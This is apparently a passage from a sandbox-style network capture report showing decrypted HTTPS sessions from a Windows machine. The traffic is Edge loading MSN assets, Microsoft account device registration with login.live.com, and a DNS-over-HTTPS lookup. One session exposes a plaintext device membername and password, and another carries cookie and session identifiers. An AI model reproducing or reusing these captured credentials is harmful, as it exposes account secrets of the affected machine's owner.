${e=>e.backgroundGalleryEligibility&&"Event"!==e.currentProvider?"backgroundGallery":""}">${e=>e.museumCard.credits}</p></div>${(0,Fe.g)((e=>!e.backgroundGalleryEligibility\|\|"Event"===e.currentProvider),De.dy`<div class="museumCard

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49772	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:18 UTC	630	OUT	GET /bundles/v1/edgeChromium/latest/experience.ece9643c5babc8e535e2.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:18 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: fDgdLjf/bSTqrG5ey/XW2A== Last-Modified: Tue, 23 Apr 2024 19:32:48 GMT ETag: 0x8DC63CC28AB2463 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: e2d8f3b1-101e-00ae-36b5-950ec5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:18 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402743938,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016282 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906138.18016282 Vary: Origin
2024-04-23 21:02:18 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 2c 6f 2c 6e 2c 72 2c 61 2c 69 3d 7b 35 34 30 39 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6f 2e 64 28 74 2c 7b 4d 51 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 2c 66 7a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 2c 72 50 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 7d 29 3b 63 6f 6e 73 74 20 6e 3d 22 5c 6e 20 3a 72 6f 6f 74 20 7b 5c 6e 2d 2d 62 6f 72 64 65 72 52 61 64 69 75 73 4e 6f 6e 65 3a 20 30 3b 5c 6e 2d 2d 62 6f 72 64 65 72 52 61 64 69 75 73 53 6d 61 6c 6c 3a 20 32 70 78 3b 5c 6e 2d 2d 62 6f 72 64 65 72 52 61 64 69 75 73 4d 65 64 69 75 6d 3a 20 34 70 78 3b Data Ascii: 00006000!function(){var e,t,o,n,r,a,i={54098:function(e,t,o){"use strict";o.d(t,{MQ:function(){return r},fz:function(){return a},rP:function(){return n}});const n="\n :root {\n--borderRadiusNone: 0;\n--borderRadiusSmall: 2px;\n--borderRadiusMedium: 4px;
2024-04-23 21:02:18 UTC	9395	IN	Data Raw: 74 65 42 6c 75 65 42 6f 72 64 65 72 41 63 74 69 76 65 3a 20 23 35 63 61 61 65 35 3b 5c 6e 2d 2d 63 6f 6c 6f 72 50 61 6c 65 74 74 65 52 6f 79 61 6c 42 6c 75 65 42 61 63 6b 67 72 6f 75 6e 64 32 3a 20 23 30 30 32 63 34 65 3b 5c 6e 2d 2d 63 6f 6c 6f 72 50 61 6c 65 74 74 65 52 6f 79 61 6c 42 6c 75 65 46 6f 72 65 67 72 6f 75 6e 64 32 3a 20 23 39 61 62 66 64 63 3b 5c 6e 2d 2d 63 6f 6c 6f 72 50 61 6c 65 74 74 65 52 6f 79 61 6c 42 6c 75 65 42 6f 72 64 65 72 41 63 74 69 76 65 3a 20 23 34 61 38 39 62 61 3b 5c 6e 2d 2d 63 6f 6c 6f 72 50 61 6c 65 74 74 65 43 6f 72 6e 66 6c 6f 77 65 72 42 61 63 6b 67 72 6f 75 6e 64 32 3a 20 23 32 63 33 63 38 35 3b 5c 6e 2d 2d 63 6f 6c 6f 72 50 61 6c 65 74 74 65 43 6f 72 6e 66 6c 6f 77 65 72 46 6f 72 65 67 72 6f 75 6e 64 32 3a 20 23 63 Data Ascii: teBlueBorderActive: #5caae5;\n--colorPaletteRoyalBlueBackground2: #002c4e;\n--colorPaletteRoyalBlueForeground2: #9abfdc;\n--colorPaletteRoyalBlueBorderActive: #4a89ba;\n--colorPaletteCornflowerBackground2: #2c3c85;\n--colorPaletteCornflowerForeground2: #c
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 6f 72 50 61 6c 65 74 74 65 44 61 72 6b 4f 72 61 6e 67 65 46 6f 72 65 67 72 6f 75 6e 64 32 3a 20 23 37 61 32 31 30 31 3b 5c 6e 2d 2d 63 6f 6c 6f 72 50 61 6c 65 74 74 65 44 61 72 6b 4f 72 61 6e 67 65 46 6f 72 65 67 72 6f 75 6e 64 33 3a 20 23 64 61 33 62 30 31 3b 5c 6e 2d 2d 63 6f 6c 6f 72 50 61 6c 65 74 74 65 44 61 72 6b 4f 72 61 6e 67 65 42 6f 72 64 65 72 41 63 74 69 76 65 3a 20 23 64 61 33 62 30 31 3b 5c 6e 2d 2d 63 6f 6c 6f 72 50 61 6c 65 74 74 65 44 61 72 6b 4f 72 61 6e 67 65 42 6f 72 64 65 72 31 3a 20 23 66 34 62 66 61 62 3b 5c 6e 2d 2d 63 6f 6c 6f 72 50 61 6c 65 74 74 65 44 61 72 6b 4f 72 61 6e 67 65 42 6f 72 64 65 72 32 3a 20 23 64 61 33 62 30 31 3b 5c 6e 2d 2d 63 6f 6c 6f 72 50 61 6c 65 74 74 65 59 65 6c 6c 6f 77 42 61 Data Ascii: 00006000orPaletteDarkOrangeForeground2: #7a2101;\n--colorPaletteDarkOrangeForeground3: #da3b01;\n--colorPaletteDarkOrangeBorderActive: #da3b01;\n--colorPaletteDarkOrangeBorder1: #f4bfab;\n--colorPaletteDarkOrangeBorder2: #da3b01;\n--colorPaletteYellowBa
2024-04-23 21:02:18 UTC	8204	IN	Data Raw: 3d 24 7b 65 3d 3e 28 30 2c 42 2e 41 29 28 22 6d 65 6e 75 22 2c 5b 22 64 65 74 61 69 6c 2d 70 61 67 65 22 2c 21 21 65 2e 75 73 65 44 65 74 61 69 6c 50 61 67 65 53 74 79 6c 65 73 5d 29 7d 20 70 61 72 74 3d 22 6d 65 6e 75 22 3e 24 7b 28 30 2c 41 2e 72 78 29 28 28 65 3d 3e 65 2e 6d 65 6e 75 49 74 65 6d 73 29 2c 46 29 7d 3c 2f 66 6c 75 65 6e 74 2d 6d 65 6e 75 3e 60 2c 52 3d 43 2e 64 79 60 3c 74 65 6d 70 6c 61 74 65 20 69 64 3d 22 61 63 74 69 6f 6e 73 2d 6d 65 6e 75 22 3e 24 7b 28 30 2c 50 2e 67 29 28 28 65 3d 3e 65 2e 75 73 65 46 61 73 74 41 6e 63 68 6f 72 65 64 52 65 67 69 6f 6e 29 2c 43 2e 64 79 60 3c 66 6c 75 65 6e 74 2d 61 6e 63 68 6f 72 65 64 2d 72 65 67 69 6f 6e 20 70 61 72 74 3d 22 6d 65 6e 75 2d 72 65 67 69 6f 6e 22 20 3a 61 6e 63 68 6f 72 45 6c 65 6d Data Ascii: =${e=>(0,B.A)("menu",["detail-page",!!e.useDetailPageStyles])} part="menu">${(0,A.rx)((e=>e.menuItems),F)}</fluent-menu>`,R=C.dy`<template id="actions-menu">${(0,P.g)((e=>e.useFastAnchoredRegion),C.dy`<fluent-anchored-region part="menu-region" :anchorElem
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6d 65 6e 74 26 26 74 68 69 73 2e 64 65 6c 61 79 49 6e 69 74 41 75 74 6f 73 75 67 67 65 73 74 28 29 2c 74 68 69 73 2e 65 6e 61 62 6c 65 41 75 74 6f 53 75 67 67 65 73 74 69 6f 6e 26 26 21 74 68 69 73 2e 69 73 41 75 74 6f 53 75 67 67 65 73 74 49 6e 69 74 69 61 6c 69 7a 65 64 26 26 74 68 69 73 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 26 26 74 68 69 73 2e 65 6e 61 62 6c 65 41 50 49 41 75 74 6f 53 75 67 67 65 73 74 69 6f 6e 73 26 26 21 74 68 69 73 2e 65 6e 61 62 6c 65 4c 6f 61 64 41 50 49 41 75 74 6f 53 75 67 67 65 73 74 42 6f 78 26 26 74 68 69 73 2e 64 65 6c 61 79 49 6e 69 74 41 50 49 41 75 74 6f 73 75 67 67 65 73 74 28 29 7d 69 6e 70 75 74 45 6c 65 6d 65 6e 74 43 68 61 6e 67 65 64 28 65 2c 74 29 7b 76 6f 69 64 20 30 3d 3d 3d 65 26 26 Data Ascii: 00004000ment&&this.delayInitAutosuggest(),this.enableAutoSuggestion&&!this.isAutoSuggestInitialized&&this.formElement&&this.enableAPIAutoSuggestions&&!this.enableLoadAPIAutoSuggestBox&&this.delayInitAPIAutosuggest()}inputElementChanged(e,t){void 0===e&&
2024-04-23 21:02:18 UTC	12	IN	Data Raw: 69 64 74 68 3a 32 32 32 70 78 0d 0a Data Ascii: idth:222px
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 36 34 34 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 39 35 36 70 78 29 7b 2e 63 6f 72 65 7b 77 69 64 74 68 3a 34 30 30 70 78 7d 2e 63 6f 72 65 2e 63 6f 72 65 2d 69 6e 66 6f 2d 62 63 7b 77 69 64 74 68 3a 33 34 33 70 78 7d 3a 68 6f 73 74 28 5b 69 73 73 63 6f 70 65 64 73 65 61 72 63 68 62 6f 78 5d 29 20 2e 66 6f 72 6d 20 23 73 77 5f 61 73 7b 77 69 64 74 68 3a 32 37 38 70 78 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 35 36 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 32 36 38 70 78 29 7b 2e 63 6f 72 65 7b 77 69 64 74 68 3a 35 32 38 70 78 7d 3a 68 6f 73 74 28 5b 69 73 73 63 6f 70 65 64 73 65 61 72 63 68 62 6f 78 5d 29 20 2e Data Ascii: 00004000}}@media (min-width:644px) and (max-width:956px){.core{width:400px}.core.core-info-bc{width:343px}:host([isscopedsearchbox]) .form #sw_as{width:278px}}@media (min-width:956px) and (max-width:1268px){.core{width:528px}:host([isscopedsearchbox]) .
2024-04-23 21:02:18 UTC	12	IN	Data Raw: 2e 69 73 4d 6f 62 69 6c 65 28 0d 0a Data Ascii: .isMobile(
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 29 29 2c 62 65 29 7d 20 24 7b 65 3d 3e 65 2e 73 65 61 72 63 68 42 75 74 74 6f 6e 4f 6e 4c 65 66 74 3f 78 65 3a 22 22 7d 3c 69 6e 70 75 74 20 63 6c 61 73 73 3d 22 63 6f 6e 74 72 6f 6c 20 24 7b 65 3d 3e 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 28 74 3d 65 2e 6f 70 74 69 6f 6e 73 29 26 26 76 6f 69 64 20 30 21 3d 3d 74 26 26 74 2e 64 69 73 61 62 6c 65 44 61 72 6b 54 68 65 6d 65 3f 22 64 69 73 61 62 6c 65 2d 64 6b 22 3a 22 22 7d 7d 22 20 74 79 70 65 3d 22 73 65 61 72 63 68 22 20 69 64 3d 22 71 22 20 74 69 74 6c 65 3d 24 7b 65 3d 3e 65 2e 6f 70 74 69 6f 6e 73 26 26 65 2e 6f 70 74 69 6f 6e 73 2e 6c 6f 63 61 6c 69 7a 65 64 53 74 72 69 6e 67 73 26 26 65 2e 6f 70 74 69 6f 6e 73 2e 6c 6f 63 61 6c 69 7a 65 64 53 74 Data Ascii: 00006000)),be)} ${e=>e.searchButtonOnLeft?xe:""}<input class="control ${e=>{var t;return null!==(t=e.options)&&void 0!==t&&t.disableDarkTheme?"disable-dk":""}}" type="search" id="q" title=${e=>e.options&&e.options.localizedStrings&&e.options.localizedSt
2024-04-23 21:02:18 UTC	8204	IN	Data Raw: 22 29 2c 6f 2e 65 28 22 63 6f 6d 6d 6f 6e 2d 63 73 63 6f 72 65 22 29 2c 6f 2e 65 28 22 6e 61 74 69 76 65 61 64 73 74 65 6d 70 6c 61 74 65 73 22 29 5d 29 2e 74 68 65 6e 28 6f 2e 62 69 6e 64 28 6f 2c 35 36 37 31 37 29 29 2c 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 5b 6f 2e 65 28 22 63 6f 6d 6d 6f 6e 2d 66 65 65 64 2d 6c 69 62 73 22 29 2c 6f 2e 65 28 22 63 6f 6d 6d 6f 6e 2d 63 73 63 6f 72 65 22 29 2c 6f 2e 65 28 22 6e 61 74 69 76 65 61 64 73 74 65 6d 70 6c 61 74 65 73 22 29 5d 29 2e 74 68 65 6e 28 6f 2e 62 69 6e 64 28 6f 2c 32 34 30 34 38 29 29 2c 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 5b 6f 2e 65 28 22 63 6f 6d 6d 6f 6e 2d 66 65 65 64 2d 6c 69 62 73 22 29 2c 6f 2e 65 28 22 63 6f 6d 6d 6f 6e 2d 63 73 63 6f 72 65 22 29 2c 6f 2e 65 28 22 6e 61 74 69 76 65 61 64 73 74 Data Ascii: "),o.e("common-cscore"),o.e("nativeadstemplates")]).then(o.bind(o,56717)),Promise.all([o.e("common-feed-libs"),o.e("common-cscore"),o.e("nativeadstemplates")]).then(o.bind(o,24048)),Promise.all([o.e("common-feed-libs"),o.e("common-cscore"),o.e("nativeadst

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49785	40.126.29.9	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:18 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-04-23 21:02:18 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-23 21:02:19 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 23 Apr 2024 21:01:19 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BL2 x-ms-request-id: f82a5df9-91ed-4caf-83fe-b550b2be7c50 PPServer: PPV: 30 H: BL02EPF0001D7FB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 23 Apr 2024 21:02:18 GMT Connection: close Content-Length: 1276
2024-04-23 21:02:19 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49787	40.126.29.9	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:18 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-04-23 21:02:18 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 74 6d 69 76 71 71 7a 6e 70 64 63 72 62 6a 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 70 42 6b 4a 68 69 75 72 65 72 28 31 50 32 44 35 58 43 25 65 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 6b 71 72 6c 66 67 75 6b 69 6a 65 76 6c 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02tmivqqznpdcrbj</Membername><Password>pBkJhiurer(1P2D5XC%e</Password></Authentication><OldMembername>02akqrlfgukijevl</OldM
2024-04-23 21:02:22 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Tue, 23 Apr 2024 21:01:19 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C528_SN1 x-ms-request-id: 4e126392-5713-445a-b21d-52062fb63ed5 PPServer: PPV: 30 H: SN1PEPF0002F013 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 23 Apr 2024 21:02:21 GMT Connection: close Content-Length: 17166
2024-04-23 21:02:22 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 30 45 31 35 43 35 39 44 38 42 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 62 38 33 62 30 62 62 64 2d 61 32 31 64 2d 34 65 34 37 2d 62 31 32 32 2d 37 61 61 62 37 37 63 35 64 31 64 35 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018400E15C59D8B</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="b83b0bbd-a21d-4e47-b122-7aab77c5d1d5" LicenseID="3252b20c-d425-4711
2024-04-23 21:02:22 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49758	172.64.41.3	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:19 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-04-23 21:02:19 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 40 00 0c 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcomA)@<
2024-04-23 21:02:19 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 23 Apr 2024 21:02:19 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8790cb3a7feb4521-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 21:02:19 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 02 00 01 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0d bb 00 28 13 74 6d 2d 70 72 6f 64 2d 77 64 2d 63 73 70 2d 65 64 67 65 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 41 00 05 00 01 00 00 00 d7 00 30 0f 70 72 6f 64 2d 61 67 69 63 2d 6e 63 75 2d 32 0e 6e 6f 72 74 68 63 65 6e 74 72 61 6c 75 73 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 2c c0 85 00 06 00 01 00 00 00 36 00 30 06 6e 73 31 2d 30 32 09 61 7a 75 72 65 2d 64 6e 73 c0 2c 06 6d 73 6e 68 73 74 c0 22 00 00 27 11 00 00 03 84 00 00 01 2c 00 09 3a 80 00 00 00 3c 00 00 29 04 d0 00 00 00 00 00 e8 00 0c 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcomA(tm-prod-wd-csp-edgetrafficmanagernetA0prod-agic-ncu-2northcentraluscloudappazure,60ns1-02azure-dns,msnhst"',:<)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49778	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:19 UTC	751	OUT	GET /statics/icons/favicon_newtabpage.png HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1
